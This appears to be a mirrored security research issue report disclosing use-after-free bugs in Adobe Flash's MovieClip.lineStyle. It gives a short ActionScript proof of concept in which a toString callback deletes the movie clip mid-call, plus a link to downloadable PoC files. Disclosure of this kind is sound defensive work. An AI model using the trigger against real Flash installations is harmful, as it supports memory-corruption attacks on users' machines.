20 lines
No EOL
692 B
Text
20 lines
No EOL
692 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=558
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There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:
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this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
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var o = {toString: func};
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triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
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function func(){
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triangle_mc.removeMovieClip();
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return "none";
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}
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip |